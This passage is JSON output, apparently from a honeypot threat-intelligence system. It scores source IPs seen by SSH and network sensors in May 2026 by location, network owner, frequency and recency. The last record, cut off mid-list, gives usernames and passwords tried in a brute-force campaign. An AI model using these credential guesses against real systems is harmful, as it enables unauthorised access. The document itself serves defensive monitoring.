      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Ap\u00f3stoles",
      "asn": 61490,
      "as_org": "Cable Norte Tv SA",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:55:02.490000+00:00",
        "last_seen_30d": "2026-05-23T21:58:38.441000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.51.210.1": {
      "attack_count": 2,
      "first_seen": "2026-05-12T13:54:24.654Z",
      "last_seen": "2026-05-12T13:54:38.303Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kozhikode",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:54:24.654000+00:00",
        "last_seen_30d": "2026-05-12T13:55:46.856000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.239.190.46": {
      "attack_count": 2,
      "first_seen": "2026-05-02T12:28:29.799Z",
      "last_seen": "2026-05-02T12:28:42.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Melipilla",
      "asn": 264838,
      "as_org": "INVERSIONES MYJ LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:28:29.799000+00:00",
        "last_seen_30d": "2026-05-02T12:29:46.246000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.231.181": {
      "attack_count": 2,
      "first_seen": "2026-05-05T15:26:38.338Z",
      "last_seen": "2026-05-05T15:26:51.584Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:26:38.338000+00:00",
        "last_seen_30d": "2026-05-05T15:28:00.841000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.191.227.171": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:30:11.312Z",
      "last_seen": "2026-05-02T04:30:24.584Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Puerto Cabello",
      "asn": 271855,
      "as_org": "MANGO NETWORK, C. A. MANGONET, C. A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:30:11.312000+00:00",
        "last_seen_30d": "2026-05-02T04:31:29.054000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.77.77.47": {
      "attack_count": 2,
      "first_seen": "2026-05-12T17:42:20.993Z",
      "last_seen": "2026-05-12T17:42:33.968Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:42:20.993000+00:00",
        "last_seen_30d": "2026-05-12T17:43:42.286000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.52.112.17": {
      "attack_count": 2,
      "first_seen": "2026-05-26T15:55:30.269Z",
      "last_seen": "2026-05-26T15:55:44.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T15:55:30.269000+00:00",
        "last_seen_30d": "2026-05-26T15:56:49.226000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.190.189.147": {
      "attack_count": 2,
      "first_seen": "2026-05-16T12:38:32.884Z",
      "last_seen": "2026-05-16T12:38:45.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 17072,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T12:38:32.884000+00:00",
        "last_seen_30d": "2026-05-16T12:39:53.788000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.75.149.187": {
      "attack_count": 2,
      "first_seen": "2026-05-23T17:30:48.245Z",
      "last_seen": "2026-05-23T17:31:01.942Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Ciudad Guayana",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:30:48.245000+00:00",
        "last_seen_30d": "2026-05-23T17:32:06.485000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.142.16.59": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:28:14.288Z",
      "last_seen": "2026-05-08T15:28:27.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Kilis",
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:28:14.288000+00:00",
        "last_seen_30d": "2026-05-08T15:29:36.795000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.142": {
      "attack_count": 2,
      "first_seen": "2026-05-08T00:26:22.290Z",
      "last_seen": "2026-05-08T00:26:22.609Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 71.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 25,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T06:01:07+00:00",
        "last_seen_30d": "2026-05-31T23:28:15.142000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 9,
        "Cowrie": 2
      }
    },
    "201.238.33.162": {
      "attack_count": 2,
      "first_seen": "2026-05-20T02:03:32.354Z",
      "last_seen": "2026-05-20T02:03:54.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:03:32.354000+00:00",
        "last_seen_30d": "2026-05-20T02:05:03.648000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.235.196.13": {
      "attack_count": 2,
      "first_seen": "2026-05-19T08:07:04.588Z",
      "last_seen": "2026-05-19T08:07:19.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:07:04.588000+00:00",
        "last_seen_30d": "2026-05-19T08:08:22.154000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.25.65.57": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:44:01.702Z",
      "last_seen": "2026-05-22T10:44:29.024Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:44:01.702000+00:00",
        "last_seen_30d": "2026-05-22T10:45:35.701000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.106.132.49": {
      "attack_count": 2,
      "first_seen": "2026-05-11T15:32:56.665Z",
      "last_seen": "2026-05-11T15:34:56.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:32:56.665000+00:00",
        "last_seen_30d": "2026-05-11T15:35:59.475000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.19.254.51": {
      "attack_count": 2,
      "first_seen": "2026-05-10T06:43:34.388Z",
      "last_seen": "2026-05-10T06:43:47.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Oxkutzcab",
      "asn": 265561,
      "as_org": "LANTOINTERNET SA DE CV",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:43:34.388000+00:00",
        "last_seen_30d": "2026-05-10T06:44:51.474000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.43.254.36": {
      "attack_count": 2,
      "first_seen": "2026-05-27T18:15:06.467Z",
      "last_seen": "2026-05-27T18:15:19.396Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 269820,
      "as_org": "FULL DATA COMUNICACIONES C.A.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T18:15:06.467000+00:00",
        "last_seen_30d": "2026-05-27T18:16:23.183000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.13.158.141": {
      "attack_count": 2,
      "first_seen": "2026-05-04T11:31:52.311Z",
      "last_seen": "2026-05-04T11:32:04.589Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 29975,
      "as_org": "VODACOM",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T11:31:52.311000+00:00",
        "last_seen_30d": "2026-05-04T11:33:12.237000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.202.103.209": {
      "attack_count": 2,
      "first_seen": "2026-05-27T00:37:21.418Z",
      "last_seen": "2026-05-27T00:37:33.966Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:37:21.418000+00:00",
        "last_seen_30d": "2026-05-27T00:38:37.183000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.85.217.147": {
      "attack_count": 2,
      "first_seen": "2026-05-25T16:20:54.651Z",
      "last_seen": "2026-05-25T16:21:10.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T16:20:54.651000+00:00",
        "last_seen_30d": "2026-05-25T16:22:15.770000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.228.168.242": {
      "attack_count": 2,
      "first_seen": "2026-05-06T12:58:33.658Z",
      "last_seen": "2026-05-06T12:58:46.743Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T12:58:33.658000+00:00",
        "last_seen_30d": "2026-05-06T12:59:50.957000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.37.74.208": {
      "attack_count": 2,
      "first_seen": "2026-05-09T06:07:01.572Z",
      "last_seen": "2026-05-09T06:07:14.469Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ranchi",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:07:01.572000+00:00",
        "last_seen_30d": "2026-05-09T06:08:22.610000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.138.9.213": {
      "attack_count": 2,
      "first_seen": "2026-05-06T17:38:21.943Z",
      "last_seen": "2026-05-06T17:38:34.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Stavropol",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:38:21.943000+00:00",
        "last_seen_30d": "2026-05-06T17:39:44.819000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.89.27.250": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:20:25.924Z",
      "last_seen": "2026-05-09T14:20:56.988Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:20:25.924000+00:00",
        "last_seen_30d": "2026-05-09T14:22:02.145000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "66.254.192.28": {
      "attack_count": 2,
      "first_seen": "2026-05-05T04:27:10.503Z",
      "last_seen": "2026-05-05T04:27:23.599Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Potosi",
      "asn": 17306,
      "as_org": "JAB Wireless, INC.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:27:10.503000+00:00",
        "last_seen_30d": "2026-05-05T04:28:24.242000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "66.9.160.234": {
      "attack_count": 2,
      "first_seen": "2026-05-11T09:14:12.816Z",
      "last_seen": "2026-05-11T09:16:12.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:14:12.816000+00:00",
        "last_seen_30d": "2026-05-11T09:27:05.615000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "88.162.19.134": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:24:01.669Z",
      "last_seen": "2026-05-07T14:24:13.759Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Ch\u00e2teau-Thierry",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:24:01.669000+00:00",
        "last_seen_30d": "2026-05-07T14:25:14.440000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.210": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:22:53.305Z",
      "last_seen": "2026-05-23T01:22:53.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.8,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 26,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T12:21:32.558000+00:00",
        "last_seen_30d": "2026-05-29T17:25:58.433000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 27,
        "Cowrie": 2
      }
    },
    "70.81.127.119": {
      "attack_count": 759,
      "first_seen": "2026-05-15T04:49:53.638Z",
      "last_seen": "2026-05-25T19:26:14.522Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "curl",
        "linux",
        "systemd-sync",
        "test1",
        "...",
        "admin",
        "db2",
        "dbus-helper",
        "dev",
        "facturacion",
        "game",
        "kiran",
        "pakchoi",
        "rancid",
        "sachin",
        "sammy",
        "socks"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "warnight",
        "Wangsu@2017",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "linux123",
        "welltech12",
        "!QAZ1qaz",
        "!QAZ2wsx#EDC",
